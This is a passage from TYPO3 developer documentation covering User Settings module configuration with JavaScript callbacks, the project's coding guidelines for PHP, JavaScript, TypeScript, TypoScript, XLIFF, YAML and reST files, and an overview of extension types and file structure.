    'type' => 'text',
    'table' => 'be_users',
];
ExtensionManagementUtility::addFieldsToUserSettings(
    $lll . 'be_users.tx_examples_mobile,tx_examples_mobile',
    'after:email',
);
Copied!

The second parameter in the call to addFieldsToUserSettings() is used to position the new field. In this example, we decide to add it after the existing "email" field.

In this example the field is also added to the "be_users" table. This is not described here as it belongs to 'extending the $TCA array'. See label 'extending' in older versions of the TCA-Reference.

And here is the new field in the User Tools > User Settings module:

Extending the User Settings configuration

"On Click" / "On Confirmation" JavaScript Callbacks

To extend the User Settings module with JavaScript callbacks - for example with a custom button or special handling on confirmation, use clickData or confirmData:

EXT:examples/ext_tables.php
<?php

declare(strict_types=1);

defined('TYPO3') or die();

$GLOBALS['TYPO3_USER_SETTINGS'] = [
    'columns' => [
        'customButton' => [
            'type' => 'button',
            'clickData' => [
                'eventName' => 'setup:customButton:clicked',
            ],
            'confirm' => true,
            'confirmData' => [
                'message' => 'Please confirm...',
                'eventName' => 'setup:customButton:confirmed',
            ],
        ],
        // ...
    ],
];
Copied!

Events declared in corresponding eventName options have to be handled by a custom static JavaScript module. Following snippets show the relevant parts:

document.querySelectorAll('[data-event-name]')
  .forEach((element: HTMLElement) => {
    element.addEventListener('setup:customButton:clicked', (evt: Event) => {
      alert('clicked the button');
    });
  });
document.querySelectorAll('[data-event-name]')
  .forEach((element: HTMLElement) => {
    element.addEventListener('setup:customButton:confirmed', (evt: Event) => {
      evt.detail.result && alert('confirmed the modal dialog');
    });
  });
Copied!

PSR-14 event AddJavaScriptModulesEvent can be used to inject a JavaScript module to handle those custom JavaScript events.

View the configuration

It is possible to view the configuration via the System > Configuration module, just like for the $TCA.

Viewing the User Settings configuration

Coding guidelines

This chapter contains description of the formal requirements or standards regarding coding that you should adhere to when you develop TYPO3 extensions or Core parts.

Some basic rules are defined in the .editorconfig, such as the charset and the indenting style. By default, indenting with 4 spaces is used, but there are a few exceptions (e.g. for YAML or JSON files).

For the files that are not specifically covered in the subchapters (e.g. Fluid, .json, or .sql), the information in the .editorconfig file should be sufficient.

Introduction to the TYPO3 coding guidelines (CGL)

This chapter defines coding guidelines for the TYPO3 project. Following these guidelines is mandatory for TYPO3 Core developers and contributors to the TYPO3 Core .

Extension authors are encouraged to follow these guidelines when developing extensions for TYPO3. Following these guidelines makes it easier to read the code, analyze it for learning or performing code reviews. These guidelines also help preventing typical errors in the TYPO3 code.

This chapter defines how TYPO3 code, files and directories should be outlined and formatted. It gives some thoughts on general coding flavors the Core tries to follow.

The CGL as a means of quality assurance

Our programmers know the CGL and are encouraged to inform authors, should their code not comply with the guidelines.

Apart from that, adhering to the CGL is not voluntary: The CGL are also enforced by structural means: Automated tests are run by the continuous integration tool bamboo to make sure that every (core) code change complies with the CGL. In case a change does not meet the criteria, bamboo will give a negative vote in the review system and point to the according problem.

Following the coding guidelines not necessarily means more work for Core contributors: The automatic CGL check performed by bamboo can be easily replayed locally: If the test setup votes negative on a Core patch in the review system due to CGL violations, the patch can be easily fixed locally by calling ./Build/Scripts/cglFixMyCommit.sh and pushed another time. For details on Core contributions, have a look at the TYPO3 Contribution Guide.

General recommendations

Setup IDE / editor

.editorconfig

One method to set up your IDE / editor to adhere to specific Coding Guidelines, is to use an .editorconfig file. Read EditorConfig.org to find out more about it. Various IDEs or Editors support editorconfig by default or with an additional plugin.

For example, for PhpStorm there is an EditorConfig plugin.

An .editorconfig file is included in the TYPO3 source code.

General requirements for PHP files

TYPO3 coding standards

The package TYPO3 Coding Standards provides the most up-to-date recommendation for using and enforcing common coding guidelines, which are continuously improved. The package also offers toolchain configuration for automatically adjusting code to these standards. Specifically, a PHP CS Fixer configuration is provided, that is based on PER-CS1.0 (PSR-12) at the time of this writing, and transitioning towards PER-CS2.0.

File names

The file name describes the functionality included in the file. It consists of one or more nouns, written in UpperCamelCase. For example in the frontend system extension there is the file ContentObject/ContentObjectRenderer.php.

It is recommended to use only PHP classes and avoid non-class files.

Files that contain PHP interfaces must have the file name end on "Interface", e.g. EnforceableQueryRestrictionInterface.php.

One file can contain only one class or interface.

Extension for PHP files is always php.

PHP tags

Each PHP file in TYPO3 must use the full (as opposed to short) opening PHP tag. There must be exactly one opening tag (no closing and opening tags in the middle of the file). Example:

EXT:some_extension/Classes/SomeClass.php
<?php
declare(strict_types = 1);
// File content goes here
Copied!

Closing PHP tags (e.g. at the end of the file) are not used.

Each newly introduced file MUST declare strict types for the given file.

Line breaks

TYPO3 uses Unix line endings (\n, PHP chr(10)). If a developer uses Windows or Mac OS X platform, the editor must be configured to use Unix line endings.

Line length

Very long lines of code should be avoided for questions of readability. A line length of about 130 characters (including spaces) is fine. Longer lines should be split into several lines whenever possible. Each line fragment starting from the second must - compared to the first one - be indented with four space characters more. Example:

EXT:some_extension/Classes/SomeClass.php
BackendUtility::viewOnClick(
    (int)$this->pageInfo['uid'],
    '',
    BackendUtility::BEgetRootLine((int)$this->pageInfo['uid'])
);
Copied!

Comment lines should be kept within a limit of about 80 characters (excluding the leading spaces) as it makes them easier to read.

Whitespace and indentation

TYPO3 uses space characters to indent source code. Following the TYPO3 Coding Standards, one indentation level consists of four spaces.

There must be no white spaces in the end of a line. This can be done manually or using a text editor that takes care of this.

Spaces must be added:

  • On both sides of string, arithmetic, assignment and other similar operators (for example ., =, +, -, ?, :, *, etc).
  • After commas.
  • In single line comments after the comment sign (double slash).
  • After asterisks in multiline comments.
  • After conditional keywords like if ( and switch (.
  • Before conditional keywords if the keyword is not the first character like } elseif {.

Spaces must not be present:

  • After an opening brace and before a closing brace. For example: explode( 'blah', 'someblah' ) needs to be written as explode('blah', 'someblah').

Character set

All TYPO3 source files use the UTF-8 character set without byte order mark (BOM). Encoding declarations like declare(encoding = 'utf-8'); must not be used. They might lead to problems, especially in ext_tables.php and ext_localconf.php files of extensions, which are merged internally in TYPO3 CMS. Files from third-party libraries may have different encodings.

File structure

TYPO3 files use the following structure:

  1. Opening PHP tag (including strict_types declaration)
  2. Copyright notice
  3. Namespace
  4. Namespace imports
  5. Class information block in phpDoc format
  6. PHP class
  7. Optional module execution code

The following sections discuss each of these parts.

Namespace

The namespace declaration of each PHP file in the TYPO3 Core shows where the file belongs inside TYPO3 CMS. The namespace starts with \TYPO3\CMS, then the extension name in UpperCamelCase, a backslash and then the name of the subfolder of Classes/, in which the file is located (if any). E.g. the file typo3/sysext/frontend/Classes/ContentObject/ContentObjectRenderer.php with the class ContentObjectRenderer is in the namespace \TYPO3\CMS\Frontend\ContentObject.

use statements can be added to this section.

Namespace imports

Necessary PHP classes should be imported like explained in the TYPO3 Coding Standards, (based on PER-CS1.0 / PSR-12 at the time of this writing, transitioning towards PER-CS2.0):

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\HttpUtility;
use TYPO3\CMS\Core\Cache\Backend\BackendInterface;
Copied!

Put one blank line before and after import statements. Also put one import statement per line.

Class information block

The class information block provides basic information about the class in the file. It should include a description of the class. Example:

EXT:some_extension/Classes/SomeClass.php
/**
 * This class provides XYZ plugin implementation.
 */
Copied!

PHP class

The PHP class follows the class information block. PHP code must be formatted as described in chapter "PHP syntax formatting".

The class name is expected to follow some conventions. It must be identical to the file name and must be written in upper camel case.

The namespace and class names of user files follow the same rules as class names of the TYPO3 Core files do.

The namespace declaration of each user file should show where the file belongs inside its extension. The namespace starts with "Vendor\MyNamespace\", where "Vendor" is your vendor name and "MyNamespace" is the extension name in UpperCamelCase. Then follows the name of the subfolder of Classes/, in which the file is located (if any). E.g. the file EXT:realurl/Classes/Controller/AliasesController.php with the class AliasesController is in the namespace " \DmitryDulepov\Realurl\Controller".

A PHP class declaration looks like the following:

EXT:some_extension/Classes/SomeClass.php
class SomeClass extends AbstractBackend implements BackendInterface
{
    // ...
}
Copied!

Optional module execution code

Module execution code instantiates the class and runs its method(s). Typically this code can be found in eID scripts and old Backend modules. Here is how it may look like:

EXT:some_extension/Classes/SomeClass.php
$someClass = GeneralUtility::makeInstance(SomeClass::class);
$someClass->main();
Copied!

This code must appear after the PHP class.

PHP syntax formatting

Identifiers

All identifiers must use camelCase and start with a lowercase letter. Underscore characters are not allowed. Hungarian notation is not encouraged. Abbreviations should be avoided. Examples of good identifiers:

$goodName
$anotherGoodName
Copied!

Examples of bad identifiers:

$BAD_name
$unreasonablyLongNamesAreBadToo
$noAbbrAlwd
Copied!

The lower camel case rule also applies to acronyms. Thus:

$someNiceHtmlCode
Copied!

is correct, whereas :

$someNiceHTMLCode
Copied!

is not.

In particular the abbreviations "FE" and "BE" should be avoided and the full "Frontend" and "Backend" words used instead.

Identifier names must be descriptive. However it is allowed to use traditional integer variables like $i, $j, $k in for loops. If such variables are used, their meaning must be absolutely clear from the context where they are used.

The same rules apply to functions and class methods. In contrast to class names, function and method names should not only use nouns, but also verbs. Examples:

protected function getFeedbackForm()
public function processSubmission()
Copied!

Class constants should be clear about what they define. Correct:

const USERLEVEL_MEMBER = 1;
Copied!

Incorrect:

const UL_MEMBER = 1;
Copied!

Variables on the global scope may use uppercase and underscore characters.

Examples:

$GLOBALS['TYPO3_CONF_VARS']
Copied!

Comments

Comments in the code are highly welcome and recommended. Inline comments must precede the commented line and be indented with the same number of spaces as the commented line. Example:

protected function processSubmission()
{
    $context = GeneralUtility::makeInstance(Context::class);
    // Check if user is logged in
    if ($context->getPropertyFromAspect('frontend.user', 'isLoggedIn')) {
        …
    }
}
Copied!

Comments must start with " //". Starting comments with " #" is not allowed.

Class constants and variable comments should follow PHP doc style and precede the variable. The variable type must be specified for non–trivial types and is optional for trivial types. Example:

/** Number of images submitted by user */
protected $numberOfImages;

/**
 * Local instance of the ContentObjectRenderer class
 *
 * @var ContentObjectRenderer
 */
protected $localCobj;
Copied!

Single line comments are allowed when there is no type declaration for the class variable or constant.

If a variable can hold values of different types, use mixed as type.

Debug output

During development it is allowed to use debug() or \TYPO3\CMS\Core\Utility\DebugUtility::debug() function calls to produce debug output. However all debug statements must be removed (not only commented!) before pushing the code to the Git repository. Only very exceptionally is it allowed to even think of leaving a debug statement, if it is definitely a major help when developing user code for the TYPO3 Core.

Curly braces

Usage of opening and closing curly braces is mandatory in all cases where they can be used according to PHP syntax (except case statements).

The opening curly brace is always on the same line as the preceding construction. There must be one space (not a tab!) before the opening brace. An exception are classes and functions: Here the opening curly brace is on a new line with the same indentation as the line with class or function name. The opening brace is always followed by a new line.

The closing curly brace must start on a new line and be indented to the same level as the construct with the opening brace. Example:

protected function getForm()
{
    if ($this->extendedForm) {
        // generate extended form here
    } else {
        // generate simple form here
    }
}
Copied!

The following is not allowed:

protected function getForm() {
    if ($this->extendedForm) { // generate extended form here
    } else {
        // generate simple form here
    }
}
Copied!

Conditions

Conditions consist of if, elseif and else keywords. TYPO3 code must not use the else if construct.

The following is the correct layout for conditions:

if ($this->processSubmission) {
    // Process submission here
} elseif ($this->internalError) {
    // Handle internal error
} else {
    // Something else here
}
Copied!

Here is an example of the incorrect layout:

if ($this->processSubmission) {
    // Process submission here
}
elseif ($this->internalError) {
    // Handle internal error
} else {
    // Something else here
}
Copied!

It is recommended to create conditions so that the shortest block of code goes first. For example:

if (!$this->processSubmission) {
    // Generate error message, 2 lines
} else {
    // Process submission, 30 lines
}
Copied!

If the condition is long, it must be split into several lines. The logical operators must be put in front of the next condition and be indented to the same level as the first condition. The closing round and opening curly bracket after the last condition should be on a new line, indented to the same level as the if:

if ($this->getSomeCondition($this->getSomeVariable())
    && $this->getAnotherCondition()
) {
    // Code follows here
}
Copied!

The ternary conditional operator ? : must be used only, if it has exactly two outcomes. Example:

$result = ($useComma ? ',' : '.');
Copied!

Wrong usage of the ternary conditional operator:

$result = ($useComma ? ',' : $useDot ? '.' : ';');
Copied!

Switch

case statements are indented with one additional indent (four spaces) inside the switch statement. The code inside the case statements is further indented with an additional indent. The break statement is aligned with the code. Only one break statement is allowed per case.

The default statement must be the last in the switch and must not have a break statement.

If one case block has to pass control into another case block without having a break, there must be a comment about it in the code.

Examples:

switch ($useType) {
    case 'extended':
        $content .= $this->extendedUse();
        // Fall through
    case 'basic':
        $content .= $this->basicUse();
        break;
    default:
        $content .= $this->errorUse();
}
Copied!

Loops

The following loops can be used:

  • do
  • while
  • for
  • foreach

The use of each is not allowed in loops.

for loops must contain only variables inside (no function calls). The following is correct:

$size = count($dataArray);
for ($element = 0; $element < $size; $element++) {
    // Process element here
}
Copied!

The following is not allowed:

for ($element = 0; $element < count($dataArray); $element++) {
    // Process element here
}
Copied!

do and while loops must use extra brackets, if an assignment happens in the loop:

while (($fields = $this->getFields())) {
    // Do something
}
Copied!

There's a special case for foreach loops when the value is not used inside the loop. In this case the dummy variable $_ (underscore) is used:

foreach ($GLOBALS['TCA'] as $table => $_) {
    // Do something with $table
}
Copied!

This is done for performance reasons, as it is faster than calling array_keys() and looping on its result.

Strings

All strings must use single quotes. Double quotes are allowed only to create the new line character ( "\n").

String concatenation operators must be surrounded by spaces. Example:

$content = 'Hello ' . 'world!';
Copied!

However the space after the concatenation operator must not be present, if the operator is the last construction on the line. See the section about white spaces for more information.

Variables must not be embedded into strings. Correct:

$content = 'Hello ' . $userName;
Copied!

Incorrect:

$content = "Hello $userName";
Copied!

Multiline string concatenations are allowed. The line concatenation operator must be at the beginning of the line. Lines starting from the second must be indented relatively to the first line. It is recommended to indent lines one level from the start of the string on the first level.

$content = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. '
                . 'Donec varius libero non nisi. Proin eros.';
Copied!

Booleans

Booleans must use the language constructs of PHP and not explicit integer values like 0 or 1. Furthermore they should be written in lowercase, i.e. true and false.

NULL

Similarly this special value is written in lowercase, i.e. null.

Arrays

Array declarations use the short array syntax [], instead of the " array" keyword. Thus:

$a = [];
Copied!

Array components are declared each on a separate line. Such lines are indented with four more spaces than the start of the declaration. The closing square bracket is on the same indentation level as the variable. Every line containing an array item ends with a comma. This may be omitted if there are no further elements, at the developer's choice. Example:

$thisIsAnArray = [
    'foo' => 'bar',
    'baz' => [
        0 => 1
    ]
];
Copied!

Nested arrays follow the same pattern. This formatting applies even to very small and simple array declarations, e.g. :

$a = [
    0 => 'b',
];
Copied!

PHP features

The use of the newest PHP features is strongly recommended for extensions and mandatory for the TYPO3 Core .

Class functions must have access type specifiers: public, protected or private. Notice that private may prevent XCLASSing of the class. Therefore private can be used only if it is absolutely necessary.

Class variables must use access specifiers instead of the var keyword.

Type hinting must be used when the function expects an array or an instance of a certain class. Example:

protected function executeAction(MyAction &$action, array $extraParameters)
{
    // Do something
}
Copied!

Static functions must use the static keyword. This keyword must be after the visibility declaration in the function definition:

public static function executeAction(MyAction &$action, array $extraParameters)
{
    // Do something
}
Copied!

The abstract keyword also must be after the visibility declaration in the function declaration:

protected abstract function render();
Copied!

Global variables

Use of global is not recommended. Always use $GLOBALS['variable'].

Functions

All newly introduced PHP functions must be as strongly typed as possible. That means one must use the possibilities of PHP 7.0 as much as possible to declare and enforce strict data types.

i.e.: Every function parameter should be type-hinted. If a function returns a value, a return type-hint must be used. All data types must be documented in the phpDoc block of the function.

If a function is declared to return a value, all code paths must always return a value. The following is not allowed:

/**
 * @param bool $enabled
 * @return string
 */
function extendedUse(bool $enabled): string
{
    if ($enabled) {
        return 'Extended use';
    }
}
Copied!

The following is the correct behavior:

/**
 * @param bool $enabled
 * @return string
 */
function extendedUse(bool $enabled): string
{
   $content = '';
   if ($enabled) {
       $content = 'Extended use';
   }
   return $content;
}
Copied!

In general there should be a single return statement in the function (see the preceding example). However a function can return during parameter validation (guards) before it starts its main logic. Example:

/**
 * @param bool $enabled
 * @param MyUseParameters $useParameters
 * @return string
 */
function extendedUse(bool $enabled, MyUseParameters $useParameters): string
{
    // Validation
    if (count($useParameters->urlParts) < 5) {
        return 'Parameter validation failed';
    }

    // Main functionality
    $content = '';
    if ($enabled) {
        $content = 'Extended use';
    } else {
        $content = 'Only basic use is available to you!';
    }
    return $content;
}
Copied!

Functions should not be long. "Long" is not defined in terms of lines. General rule is that function should fit into 2 / 3 of the screen. This rule allows small changes in the function without splitting the function further. Consider refactoring long functions into more classes or methods.

Using phpDoc

"phpDocumentor" (phpDoc) is used for documenting source code. TYPO3 code typically uses the following phpDoc keywords:

  • @global
  • @param
  • @return
  • @see
  • @var
  • @deprecated

For more information on phpDoc see the phpDoc web site at https://www.phpdoc.org/.

TYPO3 does not require that each class, function and method be documented with phpDoc.

But documenting types is required. If you cannot use type hints then a docblock is mandatory to describe the types..

Additionally you should add a phpDoc block if additional information seems appropriate:

  • An example would be the detailed description of the content of arrays using the Object[] notation.
  • If the return type is mixed and cannot be annotated strictly, add a @return tag.
  • If parameters or return types have specific syntactical requirements: document that!

The different parts of a phpDoc statement after the keyword are separated by one single space.

Class information block

((to be written))

((was: For information on phpDoc use for class declarations see "Class information block".))

Function information block

Functions should have parameters and the return type documented. Example:

EXT:some_extension/Classes/SomeClass.php
/**
 * Initializes the plugin.
 *
 * Checks the configuration and substitutes defaults for missing values.
 *
 * @param array $conf Plugin configuration from TypoScript
 * @return bool true if initialization was successful, false otherwise
 * @see MyClass:anotherFunc()
 */
protected function initialize(array $conf): bool
{
    // Do something
}
Copied!

Short and long description

A method or class may have both a short and a long description. The short description is the first piece of text inside the phpDoc block. It ends with the next blank line. Any additional text after that line and before the first tag is the long description.

In the comment blocks use the short forms of the type names (e.g. int, bool, string, array or mixed).

Use @return void when a function does not return a value.

JavaScript coding guidelines

The rules suggested in the Airbnb JavaScript Style Guide should be used throughout the TYPO3 Core for JavaScript files.

Note that the TYPO3 Core typically uses TypeScript now and automatically converts it to JavaScript.

Directories and filenames

  • JavaScript files should have the file ending .js
  • JavaScript files are located under <extension>/Resources/Public/JavaScript/

Format

  • Use spaces, not TABs.
  • Indent with 2 spaces.
  • Use single quotes ('') for strings.
  • Prefix jQuery object variables with a $.

More information

TypeScript coding guidelines

Excel Micro TypeScript Style Guide for TypeScript should be used throughout the TYPO3 Core for TypeScript files.

Directories and file names

  • TypeScript files should have the file ending .ts
  • TypeScript files are located under <extension>/Resources/Private/TypeScript/

Format

  • Use spaces, not TABs.
  • Indent with 2 spaces.

More information

  • See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to the coding guidelines.

TypoScript coding guidelines

Directory and file names

  • The file extension must be .typoscript.
  • TypoScript files are located in the directory <extension>/Configuration/TypoScript.
  • File name for constants in static templates: constants.typoscript.
  • File name for TypoScript in static templates: setup.typoscript.

Format

  • Use spaces, not TABs.
  • Use 2 spaces per indenting level.

More information

  • See Setup IDE / editor in this manual for information about setting up your editor / IDE to adhere to the coding guidelines.

TSconfig coding guidelines

TSconfig files use TypoScript syntax.

Directory and file names

  • Files have the ending .tsconfig

The following directory names are not mandatory, but recommended:

Format

  • Use spaces, not tabs
  • Indent with 2 spaces per indent level

See .editorconfig in core.

More information

XLIFF coding guidelines

Language files are typically stored in XLIFF files. XLIFF is based on XML.

Directory and file names

  • Files have the ending .xlf.
  • Language files are located in the directory EXT:my_extension/Resources/Private/Language/.

Format

  • Use TABs, not spaces.
  • TAB size is 4.

Language keys

TYPO3 is designed to be fully localizable. Hard-coded strings should thus be avoided unless there are some technical limitations (for example, some very early or low-level stuff where a $GLOBALS['LANG'] object is not yet available).

Defining localized strings

Here are some rules to respect when working with labels in locallang.xlf files:

  • Always check the existing locallang.xlf files to see, if a given localized string already exists, in particular EXT:core/Resources/Private/Language/locallang_common.xlf (GitHub) and EXT:core/Resources/Private/Language/locallang_core.xlf (GitHub).
  • Localized strings should never be all uppercase. If uppercase is needed, then appropriate methods should be used to transform them to uppercase.
  • Localized strings must not be split into several parts to include stuff in their middle. Rather use a single string with sprintf() markers (%s, %d, etc.).
  • When a localized string contains several sprintf() markers, it must use numbered arguments (for example, %1$d).
  • Localized strings should never contain configuration options (for example, index_config:timer_frequency, which would display a link or EXT:wizard_crpages/cshimages/wizards_1.png, which would show an image). Configuration like this does not belong in language labels, but in TypoScript.
  • Localized strings are not supposed to contain HTML tags. They should be avoided whenever possible.
  • Punctuation marks must be included in the localized string – including trailing marks – as different punctuation marks (for example, "?" and "¿") may be used in various languages. Also some languages include blanks before some punctuation marks.

Once a localized string appears in a released version of TYPO3, it cannot be changed (unless it needs grammar or spelling fixes). Nor can it be removed. If the label of a localized string has to be changed, a new one should be introduced instead.

YAML coding guidelines

YAML is (one of the languages) used for configuration in TYPO3.

Directory and file names

  • Files have the ending .yaml.

Format

  • Use spaces, not tabs
  • Indent with 2 spaces per indent level
  • Favor single-quoted strings (' ') over double-quoted or multi-line strings where possible
  • Double quoted strings should only be used when more complex escape characters are required. String values with line breaks should use multi-line block strings in YAML.
  • The quotes on a trivial string value (a single word or similar) may be omitted.
trivial: aValue
simple: 'This is a "salt" used for various kinds of encryption ...'
complex: "This string has unicode escaped characters, like \x0d\x0a"
multi: |
   This is a multi-line string.

   Line breaks are preserved in this value. It's good for including

   <em>HTML snippets</em>.
Copied!

More information

  • See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to the coding guidelines.

reStructuredText (reST)

Documentation is typically stored in reST files.

Directory and file names

  • Files have the ending .rst.
  • Language files are located in the directory <extension>/Documentation.

Format

  • Use spaces, not TABs.
  • Indent with 4 spaces per indent level.

More information

  • See Setup IDE / editor in this manual for information about setting up your Editor / IDE to adhere to the coding guidelines.

Extension development

Concepts

Learn about the concept of extensions in TYPO3, the difference between system extensions and local extensions. Learn about Extbase as an MVC basis for extension development.

File structure

Lists reserved file and directory names within an extension. Also lists file names that are used in a certain way by convention.

This chapter should also help you to find your way around in extensions and sitepackages that were automatically generated or that you downloaded as an example.

Site package

A site package is a custom TYPO3 extension that contains files regarding the theme of a site.

Howto

Helps you kickstart your own extension or sitepackage. Explains how to publish an extension. Contains howto for different situations like creating a frontend plugin, a backend module or to extend existing TCA.

Extbase

Extbase is an extension framework to create TYPO3 frontend plugins and TYPO3 backend modules.

Best practises and conventions

Explains how to pick an extensions key, how things should be named and how to best use configuration files (ext_localconf.php and ext_tables.php)

Tutorials

Contains tutorials on extension development in TYPO3.

Introduction

TYPO3 CMS is entirely built around the concept of extensions. The Core itself is entirely comprised of extensions, called "system extensions". Some are required and will always be activated. Others can be activated or deactivated at will.

Many more extensions - developed by the community - are available in the TYPO3 Extension Repository (TER).

Yet more extensions are not officially published and are available straight from source code repositories like GitHub.

It is also possible to set up TYPO3 CMS using Composer. This opens the possibility of including any library published on Packagist.

TYPO3 can be extended in nearly any direction without losing backwards compatibility. The Extension API provides a powerful framework for easily adding, removing, installing and developing such extensions to TYPO3.

Types of extensions

"Extensions" is a general term in TYPO3 which covers many kinds of additions to TYPO3.

The extension type used to be specified in the file ext_emconf.php, but this has become obsolete. It is no longer possible to specify the type of an extension. However, there are some types by convention which follow loose standards or recommendations. Some of these types by convention are:

  • Sitepackage is a TYPO3 Extension that contains all relevant configuration for a Website, including the assets that make up the template (e.g. CSS, JavaScript, Fluid templating files, TypoScript etc.). The Sitepackage Tutorial covers this in depth.
  • Distributions are fully packaged TYPO3 CMS web installations, complete with files, templates, extensions, etc. Distributions are covered in their own chapter.

Extension components

An extension can consist of one or more of these components. They are not mutually exclusive: An extension can supply one or more plugins and also one or more modules. Additionally, an extension can provide functionality beyond the listed components.

  • Plugins which play a role on the website itself, e.g. a discussion board, guestbook, shop, etc. Therefore plugins are content elements, that can be placed on a page like a text element or an image.
  • Modules are backend applications which have their own entry in the main menu. They require a backend login and work inside the framework of the backend. We might also call something a module if it exploits any connectivity of an existing module, that is if it simply adds itself to the function menu of existing modules. A module is an extension in the backend.
  • Symfony console commands provide functionality which can be executed on the command line (CLI). These commands are implemented by classes inheriting the Symfony \Symfony\Component\Console\Command\Command\Command class. More information is available in Console commands (CLI).

Extensions and the Core

Extensions are designed in a way so that extensions can supplement the Core seamlessly. This means that a TYPO3 system will appear as "a whole" while actually being composed of the Core application and a set of extensions providing various features. This philosophy allows TYPO3 to be developed by many individuals without losing fine control since each developer will have a special area (typically a system extension) of responsibility which is effectively encapsulated.

So, at one end of the spectrum system extensions make up what is known as "TYPO3" to the outside world. At the other end, extensions can be entirely specific to a given project and contain only files and functionality related to a single implementation.

Notable system extensions

This section describes the main system extensions, their use and what main resources and libraries they contain. The system extensions are located in directory typo3/sysext.

Core
As its name implies, this extension is crucial to the working of TYPO3 CMS. It defines the main database tables (BE users, BE groups, pages and all the "sys_*" tables). It also contains the default global configuration (in typo3/sysext/core/Configuration/DefaultConfiguration.php). Last but not least, it delivers a huge number of base PHP classes, far too many to describe here.
backend
This system extension provides all that is necessary to run the TYPO3 CMS backend. This means quite a few PHP classes, a lot of controllers and Fluid templates.
frontend
This system extension contains all the tools for performing rendering in the frontend, i.e. the actual web site. It is mostly comprised of PHP classes, in particular those in typo3/sysext/frontend/Classes/ContentObject, which are used for rendering the various content objects (one class per object type, plus a number of base and utility classes).
Extbase
Extbase is an MVC framework, with the "View" part being actually the system extension "fluid". Not all of the TYPO3 CMS backend is written in Extbase, but some modules are.
Fluid
Fluid is a templating engine. It forms the "View" part of the MVC framework. The templating engine itself is provided as "fluid standalone" which can be used in other frameworks or as a standalone templating engine. This system extension provides a number of classes and many View Helpers (in typo3/sysext/fluid/Classes/ViewHelpers), which extend the basic templating features of standalone Fluid. Fluid can be used in conjunction with Extbase (where it is the default template engine), but also in non-extbase extensions.
install
This system extension is the package containing the TYPO3 CMS Install Tool.

System, third-party and custom extensions

The files for an extension are installed into a folder named vendor/ by Composer. See also vendor/.

In Classic mode installations they are found in typo3/sysext/ (system extensions) or typo3conf/ext/ (third-party and custom extensions).

Third-party and custom extensions

Third-party and custom extensions must have the Composer type typo3-cms-extension:

EXT:my_extension/composer.json`
{
    "name": "myvendor/my-extension",
    "type": "typo3-cms-extension",
    "...": "..."
}
Copied!

The extension will be installed in the directory vendor/ by Composer. Custom extension like sitepackages or specialized extensions used only in one project can be kept under version control in a directory like packages/. They are then symlinked into vendor/ by Composer.

In Classic mode installations third-party extensions are installed into typo3conf/ext/. Custom extensions can be kept in a directory outside of the project root and symlinked into typo3conf/ext/ or manually inserted in this directory.

System Extensions

System extensions have the Composer type typo3-cms-framework:

EXT:core/composer.json`
{
    "name": "typo3/cms-core",
    "type": "typo3-cms-framework",
    "...": "..."
}
Copied!

Composer installs all TYPO3 extensions, including system extensions in the directory vendor/.

In Classic mode installations they are installed into typo3/sysext/.

File structure

Lists reserved file and directory names within an extension. Also lists file names that are used in a certain way by convention.

This chapter should also help you to find your way around in extensions and sitepackages that where automatically generated or that you downloaded as an example.

The following folders and files can typically be found in a TYPO3 extension:

Files

An extension consists of:

  1. A directory named by the extension key (which is a worldwide unique identification string for the extension), usually located in typo3conf/ext for local extensions, or typo3/sysext for system extensions.
  2. Standard files with reserved names for configuration related to TYPO3 (of which most are optional, see list below)
  3. Any number of additional files for the extension functionality itself.

Reserved file names

Most of these files are not required, except of ext_emconf.php in Classic mode installations not based on Composer and composer.json in Composer installations installations.

Do not introduce your own files in the root directory of extensions with the name prefix ext_, because that is reserved.

Reserved Folders

In the early days, every extension author baked his own bread when it came to file locations of PHP classes, public web resources and templates.

With the rise of Extbase, a generally accepted structure for file locations inside of extensions has been established. If extension authors stick to this and the other Coding Guidelines, the system helps in various ways. For instance, if putting PHP classes into the Classes/ folder and using appropriate namespaces for the classes, the system will be able to autoload these files.

Extension kickstarters like the friendsoftypo3/extension-builder will create the correct structure for you.

Extension folder Classes for PHP classes

Contains all PHP classes. One class per file. Should have sub folders like Controller/, Domain/, Service/ or View/. For more details on class file namings and PHP namespaces, see chapter namespaces.

Typical PHP classes in this folder:

Classes/Controller/SomeController.php

SomeController.php
Scope
extension
Path (Composer)
packages/my_extension/Classes/Controller/SomeController.php
Path (Classic)
typo3conf/ext/my_extension/Classes/Controller/SomeController.php

Contains MVC Controller classes. In Extbase extensions the classes inherit from \TYPO3\CMS\Extbase\Mvc\Controller\ActionController .

See also chapter Extbase Controller.

Classes/Domain/Model/Something.php

Something.php
Scope
extension
Path (Composer)
packages/my_extension/Classes/Domain/Model/Something.php
Path (Classic)
typo3conf/ext/my_extension/Classes/Domain/Model/Something.php

Contains MVC Domain model classes. In Extbase they inherit from \TYPO3\CMS\Extbase\DomainObject\AbstractEntity . See also Extbase Model.

Classes/Domain/Repository/SomethingRepository.php

SomethingRepository.php
Scope
extension
Path (Composer)
packages/my_extension/Classes/Domain/Repository/SomethingRepository.php
Path (Classic)
typo3conf/ext/my_extension/Classes/Domain/Repository/SomethingRepository.php

Contains data repository classes. In Extbase a repository inherits from \TYPO3\CMS\Extbase\Persistence\Repository . See also Extbase Repository.

Classes/ViewHelpers/MyViewHelper.php

MyViewHelper.php
Scope
extension
Path (Composer)
packages/my_extension/Classes/ViewHelpers/MyViewHelper.php
Path (Classic)
typo3conf/ext/my_extension/Classes/ViewHelpers/MyViewHelper.php

Helper classes used in Fluid templates. See also Developing a custom ViewHelper.

Extension folder Configuration

The folder EXT:my_extension/Configuration/ may contain configuration of different types.

Some of the sub directories in here have reserved names with special meanings.

All files in this directory and in the sub directories TCA and Backend are automatically included during the TYPO3 bootstrap.

The following files and folders are commonly found in the Configuration folder:

  • packages/my_extension/Configuration/

    • Backend

      • AjaxRoutes.php
      • Routes.php
    • Extbase

      • Persistence

        • Classes.php
    • FlexForms

      • MyFlexForm1.xml
      • ...
      • MyFlexFormN.xml
    • RTE

      • MyRteConfig.yaml
    • Sets

      • Set1

        • config.yaml
        • page.tsconfig
        • settings.yaml
        • settings.defintions.yaml
        • setup.typoscript
        • ...
      • Set2

        • config.yaml
        • ...
    • TCA

      • Overrides

        • pages.php
        • sys_template.php
        • tt_content.php
        • ...
        • tx_otherextension_sometable.php
      • tx_myextension_domain_model_something.php
      • ...
      • tx_myextension_sometable.php
    • TsConfig

